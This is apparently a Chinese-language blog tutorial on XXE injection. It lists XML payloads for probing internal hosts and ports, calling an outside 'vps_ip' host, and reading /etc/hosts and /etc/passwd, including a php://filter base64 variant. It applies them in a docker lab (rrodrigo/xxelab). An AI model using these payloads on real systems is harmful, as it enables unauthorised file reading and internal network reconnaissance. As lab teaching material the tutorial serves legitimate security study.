利用xxe獲取linux系統的passwd

引用外部DTD文件訪問內網主機/端口。

<!DOCTYPE a SYSTEM "http://127.0.0.1:2333"> (看響應時間)

引用外部DTD文件訪問wai網。

<!DOCTYPE a SYSTEM "http://vps_ip" >

引用內部實體。

<!DOCTYPE a [<!ENTITY xxe "findneo">]><a>&xxe;</a>

外部實體讀本地文件。

<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><a>&xxe;</a>

外部實體訪問內wang主機端口。

<!DOCTYPE a SYSTEM "http://192.168.1.2:80">(看響應時間)

外部實體訪問wai網。

<!DOCTYPE a [<!ENTITY xxe SYSTEM "http://vps_ip">]><a>&xxe;</a>

docker中下載rrodrigo/xxelab該鏡像

啓動:docker run -d -p 8082:80 rrodrigo/xxelab

利用xxe獲取linux系統的passwd

抓取註冊包,發現採用xml格式傳遞,且郵箱有返回:

利用xxe獲取linux系統的passwd

將返回內容處進行xxe回顯設置讀取/etc/passwd

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE c [
<!ENTITY file SYSTEM "/etc/passwd">
]>

利用xxe獲取linux系統的passwd

利用base64編碼進行xxe,防止有返回包驗證

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE c [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>

利用xxe獲取linux系統的passwd
返回base64數據包,base64解碼

利用xxe獲取linux系統的passwd

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章